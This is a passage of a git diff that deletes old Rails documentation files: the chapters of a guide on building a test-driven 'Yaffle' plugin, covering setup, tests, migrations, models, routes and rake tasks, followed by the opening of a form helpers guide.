- def tweet(text)
- "Tweet! #{text}"
- end
-
-end
-----------------------------------------------
-
-Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.
diff --git a/railties/doc/guides/source/creating_plugins/index.txt b/railties/doc/guides/source/creating_plugins/index.txt
deleted file mode 100644
index 0607bc7487..0000000000
--- a/railties/doc/guides/source/creating_plugins/index.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-The Basics of Creating Rails Plugins
-====================================
-
-A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-
- * a way for developers to share bleeding-edge ideas without hurting the stable code base
- * a segmented architecture so that units of code can be fixed or updated on their own release schedule
- * an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-
-After reading this guide you should be familiar with:
-
- * Creating a plugin from scratch
- * Writing and running tests for the plugin
- * Storing models, views, controllers, helpers and even other plugins in your plugins
- * Writing generators
- * Writing custom Rake tasks in your plugin
- * Generating RDoc documentation for your plugin
- * Avoiding common pitfalls with 'init.rb'
-
-This guide describes how to build a test-driven plugin that will:
-
- * Extend core ruby classes like Hash and String
- * Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
- * Add a view helper that can be used in erb templates
- * Add a new generator that will generate a migration
- * Add a custom generator command
- * A custom route method that can be used in routes.rb
-
-For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.
-
-
-include::setup.txt[]
-
-include::tests.txt[]
-
-include::core_ext.txt[]
-
-include::acts_as_yaffle.txt[]
-
-include::models.txt[]
-
-include::controllers.txt[]
-
-include::helpers.txt[]
-
-include::routes.txt[]
-
-include::generators.txt[]
-
-include::generator_commands.txt[]
-
-include::migrations.txt[]
-
-include::tasks.txt[]
-
-include::gems.txt[]
-
-include::rdoc.txt[]
-
-include::appendix.txt[]
diff --git a/railties/doc/guides/source/creating_plugins/migrations.txt b/railties/doc/guides/source/creating_plugins/migrations.txt
deleted file mode 100644
index e7d2e09069..0000000000
--- a/railties/doc/guides/source/creating_plugins/migrations.txt
+++ /dev/null
@@ -1,213 +0,0 @@
-== Migrations ==
-
-If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.
-
-If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.
-
-Let's say you have the following migration in your plugin:
-
-*vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:*
-
-[source, ruby]
-----------------------------------------------
-class CreateBirdhouses < ActiveRecord::Migration
- def self.up
- create_table :birdhouses, :force => true do |t|
- t.string :name
- t.timestamps
- end
- end
-
- def self.down
- drop_table :birdhouses
- end
-end
-----------------------------------------------
-
-Here are a few possibilities for how to allow developers to use your plugin migrations:
-
-=== Create a custom rake task ===
-
-*vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:*
-
-[source, ruby]
-----------------------------------------------
-class CreateBirdhouses < ActiveRecord::Migration
- def self.up
- create_table :birdhouses, :force => true do |t|
- t.string :name
- t.timestamps
- end
- end
-
- def self.down
- drop_table :birdhouses
- end
-end
-----------------------------------------------
-
-
-*vendor/plugins/yaffle/tasks/yaffle.rake:*
-
-[source, ruby]
-----------------------------------------------
-namespace :db do
- namespace :migrate do
- desc "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false."
- task :yaffle => :environment do
- ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
- ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
- Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
- end
- end
-end
-----------------------------------------------
-
-=== Call migrations directly ===
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
- require file
-end
-----------------------------------------------
-
-*db/migrate/20081116181115_create_birdhouses.rb:*
-
-[source, ruby]
-----------------------------------------------
-class CreateBirdhouses < ActiveRecord::Migration
- def self.up
- Yaffle::CreateBirdhouses.up
- end
-
- def self.down
- Yaffle::CreateBirdhouses.down
- end
-end
-----------------------------------------------
-
-.Editor's note:
-NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.
-
-=== Generate migrations ===
-
-Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this:
-
- * call your script/generate script and pass in whatever options they need
- * examine the generated migration, adding/removing columns or other options as necessary
-
-This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first:
-
-*vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-class MigrationGeneratorTest < Test::Unit::TestCase
-
- def setup
- FileUtils.mkdir_p(fake_rails_root)
- @original_files = file_list
- end
-
- def teardown
- ActiveRecord::Base.pluralize_table_names = true
- FileUtils.rm_r(fake_rails_root)
- end
-
- def test_generates_correct_file_name
- Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root)
- new_file = (file_list - @original_files).first
- assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file
- assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file)
- end
-
- def test_pluralizes_properly
- ActiveRecord::Base.pluralize_table_names = false
- Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root)
- new_file = (file_list - @original_files).first
- assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file
- assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file)
- end
-
- private
- def fake_rails_root
- File.join(File.dirname(__FILE__), 'rails_root')
- end
-
- def file_list
- Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
- end
-
-end
-------------------------------------------------------------------
-
-.Editor's note:
-NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.
-
-After running the test with 'rake' you can make it pass with:
-
-*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-class YaffleMigrationGenerator < Rails::Generator::NamedBase
- def manifest
- record do |m|
- m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
- :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
- }
- end
- end
-
- private
- def custom_file_name
- custom_name = class_name.underscore.downcase
- custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
- custom_name
- end
-
- def yaffle_local_assigns
- returning(assigns = {}) do
- assigns[:migration_action] = "add"
- assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
- assigns[:table_name] = custom_file_name
- assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
- end
- end
-end
-------------------------------------------------------------------
-
-The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template.
-
-It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
-
-To run the generator, type the following at the command line:
-
-------------------------------------------------------------------
-./script/generate yaffle_migration bird
-------------------------------------------------------------------
-
-and you will see a new file:
-
-*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-class AddYaffleFieldsToBirds < ActiveRecord::Migration
- def self.up
- add_column :birds, :last_squawk, :string
- end
-
- def self.down
- remove_column :birds, :last_squawk
- end
-end
-------------------------------------------------------------------
-
diff --git a/railties/doc/guides/source/creating_plugins/models.txt b/railties/doc/guides/source/creating_plugins/models.txt
deleted file mode 100644
index 505ab44a71..0000000000
--- a/railties/doc/guides/source/creating_plugins/models.txt
+++ /dev/null
@@ -1,74 +0,0 @@
-== Models ==
-
-This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this:
-
----------------------------------------------------------
-vendor/plugins/yaffle/
-|-- lib
-| |-- app
-| | |-- controllers
-| | |-- helpers
-| | |-- models
-| | | `-- woodpecker.rb
-| | `-- views
-| |-- yaffle
-| | |-- acts_as_yaffle.rb
-| | |-- commands.rb
-| | `-- core_ext.rb
-| `-- yaffle.rb
----------------------------------------------------------
-
-As always, start with a test:
-
-*vendor/plugins/yaffle/yaffle/woodpecker_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class WoodpeckerTest < Test::Unit::TestCase
- load_schema
-
- def test_woodpecker
- assert_kind_of Woodpecker, Woodpecker.new
- end
-end
-----------------------------------------------
-
-This is just a simple test to make sure the class is being loaded correctly. After watching it fail with `rake`, you can make it pass like so:
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-%w{ models }.each do |dir|
- path = File.join(File.dirname(__FILE__), 'app', dir)
- $LOAD_PATH << path
- ActiveSupport::Dependencies.load_paths << path
- ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-----------------------------------------------
-
-Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.
-
-
-*vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
-
-[source, ruby]
-----------------------------------------------
-class Woodpecker < ActiveRecord::Base
-end
-----------------------------------------------
-
-Finally, add the following to your plugin's 'schema.rb':
-
-*vendor/plugins/yaffle/test/schema.rb:*
-
-[source, ruby]
-----------------------------------------------
-create_table :woodpeckers, :force => true do |t|
- t.string :name
-end
-----------------------------------------------
-
-Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
diff --git a/railties/doc/guides/source/creating_plugins/rdoc.txt b/railties/doc/guides/source/creating_plugins/rdoc.txt
deleted file mode 100644
index 0f6f843c42..0000000000
--- a/railties/doc/guides/source/creating_plugins/rdoc.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-== RDoc Documentation ==
-
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
-
-The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
-
- * Your name
- * How to install
- * How to add the functionality to the app (several examples of common use cases)
- * Warning, gotchas or tips that might help save users time
-
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api.
-
-Once your comments are good to go, navigate to your plugin directory and run:
-
----------------------------------------------------------
-rake rdoc
----------------------------------------------------------
diff --git a/railties/doc/guides/source/creating_plugins/routes.txt b/railties/doc/guides/source/creating_plugins/routes.txt
deleted file mode 100644
index dc1bf09fd1..0000000000
--- a/railties/doc/guides/source/creating_plugins/routes.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-== Routes ==
-
-In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with 'map.yaffles'.
-
-Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this:
-
-*vendor/plugins/yaffle/test/routing_test.rb*
-
-[source, ruby]
---------------------------------------------------------
-require "#{File.dirname(__FILE__)}/test_helper"
-
-class RoutingTest < Test::Unit::TestCase
-
- def setup
- ActionController::Routing::Routes.draw do |map|
- map.yaffles
- end
- end
-
- def test_yaffles_route
- assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
- end
-
- private
-
- def assert_recognition(method, path, options)
- result = ActionController::Routing::Routes.recognize_path(path, :method => method)
- assert_equal options, result
- end
-end
---------------------------------------------------------
-
-Once you see the tests fail by running 'rake', you can make them pass with:
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
---------------------------------------------------------
-require "yaffle/routing"
---------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle/routing.rb*
-
-[source, ruby]
---------------------------------------------------------
-module Yaffle #:nodoc:
- module Routing #:nodoc:
- module MapperExtensions
- def yaffles
- @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
- end
- end
- end
-end
-
-ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
---------------------------------------------------------
-
-*config/routes.rb*
-
-[source, ruby]
---------------------------------------------------------
-ActionController::Routing::Routes.draw do |map|
- map.yaffles
-end
---------------------------------------------------------
-
-You can also see if your routes work by running `rake routes` from your app directory.
diff --git a/railties/doc/guides/source/creating_plugins/setup.txt b/railties/doc/guides/source/creating_plugins/setup.txt
deleted file mode 100644
index cd4b6ecb04..0000000000
--- a/railties/doc/guides/source/creating_plugins/setup.txt
+++ /dev/null
@@ -1,84 +0,0 @@
-== Setup ==
-
-=== Create the basic app ===
-
-The examples in this guide require that you have a working rails application. To create a simple rails app execute:
-
-------------------------------------------------
-gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server
-------------------------------------------------
-
-Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing.
-
-.Editor's note:
-NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
-
-
-=== Generate the plugin skeleton ===
-
-Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also.
-
-This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
-
-Examples:
-----------------------------------------------
-./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator
-----------------------------------------------
-
-To get more detailed help on the plugin generator, type `./script/generate plugin`.
-
-Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now:
-
-----------------------------------------------
-./script/generate plugin yaffle --with-generator
-----------------------------------------------
-
-You should see the following output:
-
-----------------------------------------------
-create vendor/plugins/yaffle/lib
-create vendor/plugins/yaffle/tasks
-create vendor/plugins/yaffle/test
-create vendor/plugins/yaffle/README
-create vendor/plugins/yaffle/MIT-LICENSE
-create vendor/plugins/yaffle/Rakefile
-create vendor/plugins/yaffle/init.rb
-create vendor/plugins/yaffle/install.rb
-create vendor/plugins/yaffle/uninstall.rb
-create vendor/plugins/yaffle/lib/yaffle.rb
-create vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create vendor/plugins/yaffle/test/core_ext_test.rb
-create vendor/plugins/yaffle/generators
-create vendor/plugins/yaffle/generators/yaffle
-create vendor/plugins/yaffle/generators/yaffle/templates
-create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create vendor/plugins/yaffle/generators/yaffle/USAGE
-----------------------------------------------
-
-=== Organize your files ===
-
-To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:
-
---------------------------------------------------------
-|-- lib
-| |-- yaffle
-| `-- yaffle.rb
-`-- rails
- |
- `-- init.rb
---------------------------------------------------------
-
-*vendor/plugins/yaffle/rails/init.rb*
-
-[source, ruby]
---------------------------------------------------------
-require 'yaffle'
---------------------------------------------------------
-
-Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean. \ No newline at end of file
diff --git a/railties/doc/guides/source/creating_plugins/tasks.txt b/railties/doc/guides/source/creating_plugins/tasks.txt
deleted file mode 100644
index d848c2cfa1..0000000000
--- a/railties/doc/guides/source/creating_plugins/tasks.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-== Rake tasks ==
-
-When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle.rake'. Any rake task you add here will be available to the app.
-
-Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
-
-*vendor/plugins/yaffle/tasks/yaffle.rake*
-
-[source, ruby]
----------------------------------------------------------
-namespace :yaffle do
- desc "Prints out the word 'Yaffle'"
- task :squawk => :environment do
- puts "squawk!"
- end
-end
----------------------------------------------------------
-
-When you run `rake -T` from your plugin you will see:
-
----------------------------------------------------------
-yaffle:squawk # Prints out the word 'Yaffle'
----------------------------------------------------------
-
-You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
-
-Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app. \ No newline at end of file
diff --git a/railties/doc/guides/source/creating_plugins/test_setup.txt b/railties/doc/guides/source/creating_plugins/test_setup.txt
deleted file mode 100644
index 64236ff110..0000000000
--- a/railties/doc/guides/source/creating_plugins/test_setup.txt
+++ /dev/null
@@ -1,230 +0,0 @@
-== Preparation ==
-
-=== Create the basic app ===
-
-The examples in this guide require that you have a working rails application. To create a simple rails app execute:
-
-------------------------------------------------
-gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server
-------------------------------------------------
-
-Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing.
-
-.Editor's note:
-NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
-
-
-=== Generate the plugin skeleton ===
-
-Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also.
-
-This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
-
-Examples:
-----------------------------------------------
-./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator
-----------------------------------------------
-
-To get more detailed help on the plugin generator, type `./script/generate plugin`.
-
-Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now:
-
-----------------------------------------------
-./script/generate plugin yaffle --with-generator
-----------------------------------------------
-
-You should see the following output:
-
-----------------------------------------------
-create vendor/plugins/yaffle/lib
-create vendor/plugins/yaffle/tasks
-create vendor/plugins/yaffle/test
-create vendor/plugins/yaffle/README
-create vendor/plugins/yaffle/MIT-LICENSE
-create vendor/plugins/yaffle/Rakefile
-create vendor/plugins/yaffle/init.rb
-create vendor/plugins/yaffle/install.rb
-create vendor/plugins/yaffle/uninstall.rb
-create vendor/plugins/yaffle/lib/yaffle.rb
-create vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create vendor/plugins/yaffle/test/core_ext_test.rb
-create vendor/plugins/yaffle/generators
-create vendor/plugins/yaffle/generators/yaffle
-create vendor/plugins/yaffle/generators/yaffle/templates
-create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create vendor/plugins/yaffle/generators/yaffle/USAGE
-----------------------------------------------
-
-To begin just change one thing - move 'init.rb' to 'rails/init.rb'.
-
-=== Setup the plugin for testing ===
-
-If your plugin interacts with a database, you'll need to setup a database connection. In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. This guide will not cover how to use fixtures in plugin tests.
-
-To setup your plugin to allow for easy testing you'll need to add 3 files:
-
- * A 'database.yml' file with all of your connection strings
- * A 'schema.rb' file with your table definitions
- * A test helper method that sets up the database
-
-*vendor/plugins/yaffle/test/database.yml:*
-
-----------------------------------------------
-sqlite:
- :adapter: sqlite
- :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
- :adapter: sqlite3
- :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
- :adapter: postgresql
- :username: postgres
- :password: postgres
- :database: yaffle_plugin_test
- :min_messages: ERROR
-
-mysql:
- :adapter: mysql
- :host: localhost
- :username: root
- :password: password
- :database: yaffle_plugin_test
-----------------------------------------------
-
-For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
-
-*vendor/plugins/yaffle/test/schema.rb:*
-
-[source, ruby]
-----------------------------------------------
-ActiveRecord::Schema.define(:version => 0) do
- create_table :hickwalls, :force => true do |t|
- t.string :name
- t.string :last_squawk
- t.datetime :last_squawked_at
- end
- create_table :wickwalls, :force => true do |t|
- t.string :name
- t.string :last_tweet
- t.datetime :last_tweeted_at
- end
- create_table :woodpeckers, :force => true do |t|
- t.string :name
- end
-end
-----------------------------------------------
-
-*vendor/plugins/yaffle/test/test_helper.rb:*
-
-[source, ruby]
-----------------------------------------------
-ENV['RAILS_ENV'] = 'test'
-ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
-
-require 'test/unit'
-require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
-
-def load_schema
- config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
- ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
-
- db_adapter = ENV['DB']
-
- # no db passed, try one of these fine config-free DBs before bombing.
- db_adapter ||=
- begin
- require 'rubygems'
- require 'sqlite'
- 'sqlite'
- rescue MissingSourceFile
- begin
- require 'sqlite3'
- 'sqlite3'
- rescue MissingSourceFile
- end
- end
-
- if db_adapter.nil?
- raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
- end
-
- ActiveRecord::Base.establish_connection(config[db_adapter])
- load(File.dirname(__FILE__) + "/schema.rb")
- require File.dirname(__FILE__) + '/../rails/init.rb'
-end
-----------------------------------------------
-
-Now whenever you write a test that requires the database, you can call 'load_schema'.
-
-=== Run the plugin tests ===
-
-Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with:
-
-*vendor/plugins/yaffle/test/yaffle_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class YaffleTest < Test::Unit::TestCase
- load_schema
-
- class Hickwall < ActiveRecord::Base
- end
-
- class Wickwall < ActiveRecord::Base
- end
-
- def test_schema_has_loaded_correctly
- assert_equal [], Hickwall.all
- assert_equal [], Wickwall.all
- end
-
-end
-----------------------------------------------
-
-To run this, go to the plugin directory and run `rake`:
-
-----------------------------------------------
-cd vendor/plugins/yaffle
-rake
-----------------------------------------------
-
-You should see output like:
-
-----------------------------------------------
-/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
--- create_table(:hickwalls, {:force=>true})
- -> 0.0220s
--- create_table(:wickwalls, {:force=>true})
- -> 0.0077s
--- initialize_schema_migrations_table()
- -> 0.0007s
--- assume_migrated_upto_version(0)
- -> 0.0007s
-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors
-----------------------------------------------
-
-By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
-
-----------------------------------------------
-rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql
-----------------------------------------------
-
-Now you are ready to test-drive your plugin!
diff --git a/railties/doc/guides/source/creating_plugins/tests.txt b/railties/doc/guides/source/creating_plugins/tests.txt
deleted file mode 100644
index 47611542cb..0000000000
--- a/railties/doc/guides/source/creating_plugins/tests.txt
+++ /dev/null
@@ -1,165 +0,0 @@
-== Tests ==
-
-In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files:
-
- * A 'database.yml' file with all of your connection strings
- * A 'schema.rb' file with your table definitions
- * A test helper method that sets up the database
-
-=== Test Setup ===
-
-*vendor/plugins/yaffle/test/database.yml:*
-
-----------------------------------------------
-sqlite:
- :adapter: sqlite
- :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
- :adapter: sqlite3
- :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
- :adapter: postgresql
- :username: postgres
- :password: postgres
- :database: yaffle_plugin_test
- :min_messages: ERROR
-
-mysql:
- :adapter: mysql
- :host: localhost
- :username: root
- :password: password
- :database: yaffle_plugin_test
-----------------------------------------------
-
-For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
-
-*vendor/plugins/yaffle/test/schema.rb:*
-
-[source, ruby]
-----------------------------------------------
-ActiveRecord::Schema.define(:version => 0) do
- create_table :hickwalls, :force => true do |t|
- t.string :name
- t.string :last_squawk
- t.datetime :last_squawked_at
- end
- create_table :wickwalls, :force => true do |t|
- t.string :name
- t.string :last_tweet
- t.datetime :last_tweeted_at
- end
- create_table :woodpeckers, :force => true do |t|
- t.string :name
- end
-end
-----------------------------------------------
-
-*vendor/plugins/yaffle/test/test_helper.rb:*
-
-[source, ruby]
-----------------------------------------------
-ENV['RAILS_ENV'] = 'test'
-ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
-
-require 'test/unit'
-require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
-
-def load_schema
- config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
- ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
-
- db_adapter = ENV['DB']
-
- # no db passed, try one of these fine config-free DBs before bombing.
- db_adapter ||=
- begin
- require 'rubygems'
- require 'sqlite'
- 'sqlite'
- rescue MissingSourceFile
- begin
- require 'sqlite3'
- 'sqlite3'
- rescue MissingSourceFile
- end
- end
-
- if db_adapter.nil?
- raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
- end
-
- ActiveRecord::Base.establish_connection(config[db_adapter])
- load(File.dirname(__FILE__) + "/schema.rb")
- require File.dirname(__FILE__) + '/../rails/init.rb'
-end
-----------------------------------------------
-
-Now whenever you write a test that requires the database, you can call 'load_schema'.
-
-=== Run the plugin tests ===
-
-Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with:
-
-*vendor/plugins/yaffle/test/yaffle_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class YaffleTest < Test::Unit::TestCase
- load_schema
-
- class Hickwall < ActiveRecord::Base
- end
-
- class Wickwall < ActiveRecord::Base
- end
-
- def test_schema_has_loaded_correctly
- assert_equal [], Hickwall.all
- assert_equal [], Wickwall.all
- end
-
-end
-----------------------------------------------
-
-To run this, go to the plugin directory and run `rake`:
-
-----------------------------------------------
-cd vendor/plugins/yaffle
-rake
-----------------------------------------------
-
-You should see output like:
-
-----------------------------------------------
-/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
--- create_table(:hickwalls, {:force=>true})
- -> 0.0220s
--- create_table(:wickwalls, {:force=>true})
- -> 0.0077s
--- initialize_schema_migrations_table()
- -> 0.0007s
--- assume_migrated_upto_version(0)
- -> 0.0007s
-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors
-----------------------------------------------
-
-By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
-
-----------------------------------------------
-rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql
-----------------------------------------------
-
-Now you are ready to test-drive your plugin!
diff --git a/railties/doc/guides/source/form_helpers.txt b/railties/doc/guides/source/form_helpers.txt
deleted file mode 100644
index d60ed10a39..0000000000
--- a/railties/doc/guides/source/form_helpers.txt
+++ /dev/null
@@ -1,744 +0,0 @@
-Rails form helpers
-==================
-Mislav Marohnić <mislav.marohnic@gmail.com>
-
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
-
-In this guide you will:
-
-* Create search forms and similar kind of generic forms not representing any specific model in your application;
-* Make model-centric forms for creation and editing of specific database records;
-* Generate select boxes from multiple types of data;
-* Learn what makes a file upload form different;
-
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference.
-
-
-Basic forms
------------
-
-The most basic form helper is `form_tag`.
-
-----------------------------------------------------------------------------
-<% form_tag do %>
- Form contents
-<% end %>
-----------------------------------------------------------------------------
-
-When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):
-
-.Sample output from `form_tag`
-----------------------------------------------------------------------------
-<form action="/home/index" method="post">
- <div style="margin:0;padding:0">
